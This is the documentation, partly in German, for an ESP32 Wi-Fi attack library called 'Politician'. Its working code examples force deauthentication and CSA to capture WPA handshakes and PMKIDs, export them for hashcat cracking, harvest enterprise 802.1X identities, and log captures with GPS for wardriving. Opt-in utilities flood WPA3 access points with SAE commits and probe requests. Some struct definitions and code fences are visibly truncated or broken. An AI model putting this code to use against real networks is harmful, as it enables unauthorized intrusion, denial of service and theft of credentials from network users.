### Bare ESP-IDF Schnellstart

Unter ESP-IDF ruft `begin()` intern `esp_wifi_init()` auf, erwartet jedoch, dass NVS und die Standard-Ereignisschleife bereits initialisiert sind. Rufen Sie diese vor `begin()` auf und treiben Sie die Engine dann von einer FreeRTOS-Aufgabe aus an.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>

using namespace politician;

static Politician engine;

static void on_handshake(const HandshakeRecord &rec) {
    printf("[+] Captured: %s  ch%d  rssi=%d  type=%d\n",
           rec.ssid, rec.channel, rec.rssi, rec.type);
}

static void audit_task(void *) {
    Config cfg;
    engine.setEapolCallback(on_handshake);

    if (engine.begin(cfg) != OK) {
        printf("[!] WiFi init failed\n");
        vTaskDelete(nullptr);
        return;
    }

    engine.setAttackMask(ATTACK_ALL);

    for (;;) {
        engine.tick();
        vTaskDelay(pdMS_TO_TICKS(1));
    }
}

extern "C" void app_main(void) {
    nvs_flash_init();
    esp_event_loop_create_default();

    xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}

Initialisiert die Engine. Gibt bei Erfolg `OK` oder bei Fehler einen `Error`-Code zurück. Muss vor jeder anderen Methode aufgerufen werden.

    uint16_t channel_frames[14]; // Frames per 2.4GHz channel (index 0 = ch1 … index 13 = ch14)
};

#### EapIdentityRecord```cpp
struct EapIdentityRecord {
    uint8_t bssid[6];       // Access Point MAC
    uint8_t client[6];      // Enterprise client MAC
    char    identity[65];   // Plaintext identity / email
    uint8_t channel;
    int8_t  rssi;
};

#### AttackResultRecord```cpp
enum AttackResult : uint8_t {
    RESULT_PMKID_EXHAUSTED = 1,  // All PMKID retries failed
    RESULT_CSA_EXPIRED     = 2,  // CSA/Deauth window closed, no EAPOL received

    uint8_t ssid_len;
    bool    rand_mac;    // True if locally administered bit set (iOS/Android MAC randomization)
};

### Format Utilities

PCAPNG ist das primäre Aufnahmeformat — es ist werkzeugunabhängig, bewahrt den vollständigen Frame-Kontext und kann in Wireshark geöffnet oder durch `hcxpcapngtool` geleitet werden. HC22000 ist ein Hilfstext-Export für Benutzer, die Aufnahmen direkt in `hashcat` einspeisen möchten, ohne einen Zwischenkonvertierungsschritt.```cpp
// Convert a HandshakeRecord to an HC22000 string (auxiliary — use PCAPNG as the primary output)
String toHC22000(const HandshakeRecord& rec);

// Write PCAPNG global header (SHB + IDB) — call once at file start
size_t writePcapngGlobalHeader(uint8_t* buffer);

// Serialize a HandshakeRecord into PCAPNG Enhanced Packet Blocks
size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len);

// Serialize a raw 802.11 frame into a PCAPNG Enhanced Packet Block
size_t writePcapngPacket(const uint8_t* payload, size_t len,
                        int8_t rssi, uint8_t channel, uint64_t ts_usec, 
                        uint8_t* buffer, size_t max_len);```

### Stress Utilities (Opt-in)

Requires `#include <PoliticianStress.h>`. Not linked unless explicitly included.

```cpp
// Eine WPA3-AP mit SAE-Commit-Frames überfluten, um den Anti-Clogging-Token-Heap des APs zu erschöpfen
stress::saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000);

// Benachbarte APs mit randomisierten Probe Requests überfluten, um Assoziationswarteschlangen zu sättigen
stress::probeRequestFlood(uint32_t count = 1000);```

### Storage Utilities (Optional)

Requires `#include <PoliticianStorage.h>`.

```cpp
// Handshake an PCAPNG-Datei anhängen (schreibt automatisch globalen Header)
PcapngFileLogger::append(fs::FS& fs, const char* path,
                         const HandshakeRecord& rec);

// Rohen 802.11-Frame an PCAPNG-Datei anhängen
PcapngFileLogger::appendPacket(fs::FS& fs, const char* path,
                               const uint8_t* payload, uint16_t len,
                               int8_t rssi, uint32_t ts_usec);

// Handshake-Details an Wigle CSV anhängen
WigleCsvLogger::append(fs::FS& fs, const char* path,
                       const HandshakeRecord& rec, float lat, float lon,
                       float alt = 0.0, float acc = 10.0,
                       const char* timestamp = nullptr);  // z.B. "2024-06-01 14:30:00"

// Beliebig entdeckten AP an Wigle CSV anhängen (mit setApFoundCallback verwenden)
WigleCsvLogger::appendAp(fs::FS& fs, const char* path,
                         const ApRecord& ap, float lat, float lon,
                         float alt = 0.0, float acc = 10.0,
                         const char* timestamp = nullptr);

// Handshake an HC22000-Textdatei anhängen
Hc22000FileLogger::append(fs::FS& fs, const char* path,
                           const HandshakeRecord& rec);

// Geerntete Unternehmensidentität an CSV anhängen
EnterpriseCsvLogger::append(fs::FS& fs, const char* path,
                            const EapIdentityRecord& rec);```

## Usage Examples

### Targeted Network Auditing

Use callbacks to filter networks by signal strength, encryption type, or SSID pattern:

```cpp
engine.setTargetFilter([](const politician::ApRecord &ap) {
    // Nur starke Signale prüfen
    if (ap.rssi < -70) return false;
    
    // Open/WEP-Netzwerke überspringen
    if (ap.enc < 3) return false;
    
    // Firmennetzwerke überspringen  
    if (strstr(ap.ssid, "CORP-") != nullptr) return false;
    
    return true;
});```

### Selective Attack Modes

```cpp
// Modern nur CSA (umgeht PMF)
engine.setAttackMask(ATTACK_CSA);

// Klassischer Deauth für Legacy-Netzwerke
engine.setAttackMask(ATTACK_DEAUTH);

// Passives Monitoring mit Client-Stimulation
engine.setAttackMask(ATTACK_PASSIVE | ATTACK_STIMULATE);

// Volle Aggression
engine.setAttackMask(ATTACK_ALL);```

### Enterprise Credential Harvesting

```cpp
void onIdentity(const EapIdentityRecord &rec) {
    char bssid[18];
    snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
             rec.bssid[0], rec.bssid[1], rec.bssid[2],
             rec.bssid[3], rec.bssid[4], rec.bssid[5]);
    Serial.printf("[802.1X] %s → %s\n", bssid, rec.identity);
    EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
}

void setup() {
    engine.setIdentityCallback(onIdentity);

    Config cfg;
    cfg.hop_dwell_ms = 800;  // Längere Verweilzeit für EAP-Austausche
    engine.begin(cfg);
}```

### Persistent Storage

The core library is decoupled from filesystem dependencies. Optionally include `PoliticianStorage.h` for SD card logging:

```cpp
#include <PoliticianStorage.h>
#include <SD.h>

using namespace politician::storage;

void onHandshake(const HandshakeRecord &rec) {
    // An PCAPNG-Datei anhängen (erstellt automatisch Header)
    PcapngFileLogger::append(SD, "/captures.pcapng", rec);
}

void onPacket(const uint8_t* payload, uint16_t len, int8_t rssi, uint8_t channel, uint32_t ts) {
    // Rohe 802.11-Frames protokollieren
    PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, channel, ts);
}

void setup() {
    SD.begin();
    engine.setEapolCallback(onHandshake);
    engine.setPacketLogger(onPacket);
    
    Config cfg;
    cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    engine.begin(cfg);
}```

**⚠️ Logging Performance Warning**

Beacon logging (`LOG_FILTER_BEACONS`) can generate 500+ writes/second. Standard SPI SD card writes are **blocking** and will freeze the engine. For high-volume logging, use ESP32 boards with native **SDMMC** (4-bit) hardware support and DMA.

### GPS Integration (Wigle.net)

Combine with a GPS module for wardriving datasets:

```cpp
#include <TinyGPS++.h>

TinyGPSPlus gps;

// Logge jeden entdeckten AP (verwende appendAp für ApRecord)
void onAp(const ApRecord &ap) {
    if (gps.location.isValid()) {
        WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap,
                                 gps.location.lat(),
                                 gps.location.lng());
    }
}

// Logge aufgezeichnete Handshakes mit GPS-Kontext (verwende append für HandshakeRecord)
void onHandshake(const HandshakeRecord &rec) {
    if (gps.location.isValid()) {
        WigleCsvLogger::append(SD, "/wardrive.csv", rec,
                               gps.location.lat(),
                               gps.location.lng());
    }
}```

## Advanced Features

### Half-Handshakes and Smart Pivot

When `cfg.capture_half_handshakes = true`, the engine fires the EAPOL callback with `type = CAP_EAPOL_HALF` on M2-only captures. These records have no `anonce` so they cannot be directly cracked, but they confirm an active client is present.

The engine immediately executes a **Smart Pivot**:
1. Marks the network as having active clients
2. Launches CSA/Deauth to force a fresh 4-way handshake
3. Captures the complete M1+M2 on reconnection

### Attack Result Callbacks

Register `setAttackResultCallback()` to be notified when an attack exhausts all options without capturing anything. Useful for logging failed targets or adjusting strategy at runtime:

```cpp
engine.setAttackResultCallback([](const AttackResultRecord &res) {
    char bssid[18];
    snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
             res.bssid[0], res.bssid[1], res.bssid[2],
             res.bssid[3], res.bssid[4], res.bssid[5]);
    if (res.result == RESULT_PMKID_EXHAUSTED)
        Serial.printf("[!] PMKID fehlgeschlagen: %s (%s)\n", res.ssid, bssid);
    else if (res.result == RESULT_CSA_EXPIRED)
        Serial.printf("[!] CSA/Deauth-Zeitüberschreitung: %s (%s)\n", res.ssid, bssid);
});```

### 802.11r Fast Transition Detection

The engine detects 802.11r Fast Transition AKMs (FT-PSK suite type 4, FT-EAP suite type 3) in beacon and probe-response RSN IEs. When detected, `ApRecord.ft_capable` is set to `true` and a log note is emitted during PMKID fishing.

For FT Transition Mode APs (advertising both FT-PSK and regular WPA2-PSK), standard PMKID capture via the WPA2-PSK path works normally. For FT-only APs, the captured PMKID is FT-derived — save it as PCAPNG and use FT-aware offline tools (e.g. `hcxpcapngtool --enable_ft`) for cracking.

### Hidden Network Discovery

Probe Response frames triggered by deauth bursts automatically reveal hidden SSIDs. The engine caches these with zero configuration required.

### PMF/WPA3 Detection

RSNE (Robust Security Network Element) parsing automatically identifies networks with PMF Required. These are skipped to save time, but WPA3 Transition Mode networks (PMF Capable but not Required) are still targeted.

`ApRecord` exposes `pmf_capable` and `pmf_required` so `setTargetFilter` callbacks can make finer-grained decisions than the binary `skip_immune_networks` config field — for example, to target only WPA3 Transition networks (PMF capable but not required).

## Hardware Requirements

- **Platform**: ESP32, ESP32-S2, ESP32-S3, ESP32-C3 (ESP32-C6 pending Arduino framework support in PlatformIO)
- **Framework**: Arduino or ESP-IDF — both are supported natively via `src/politician_compat.h`. `PoliticianStorage.h` requires Arduino and will not compile under ESP-IDF.
- **Memory**: Minimum 4MB flash recommended
- **Optional**: SD card module for persistent logging
- **Optional**: GPS module for Wigle integration

## Performance Considerations

- **Channel Hopping**: Default 200ms dwell time balances discovery speed vs. capture reliability
- **Memory**: Core engine uses ~45KB RAM. Storage helpers are opt-in
- **CPU**: Non-blocking state machine keeps `loop()` responsive
- **Half-Handshakes**: Enable for better capture rate on fast-hopping scenarios

## Troubleshooting

**No handshakes captured:**
- Verify WiFi is enabled and promiscuous mode works
- Increase `hop_dwell_ms` for slow-reconnecting devices
- Check if target networks use PMF Required (will be auto-skipped)
- Try `ATTACK_ALL` mask for maximum aggression

**SD card writes fail:**
- Ensure SD.begin() succeeds before logging
- Check file permissions and available space
- Disable `LOG_FILTER_BEACONS` if using SPI SD cards

**Enterprise identities not captured:**
- Increase `hop_dwell_ms` to 800-1200ms for EAP exchanges
- Use `ATTACK_PASSIVE` or `ATTACK_STIMULATE` only
- Aggressive attacks may interrupt EAP authentication
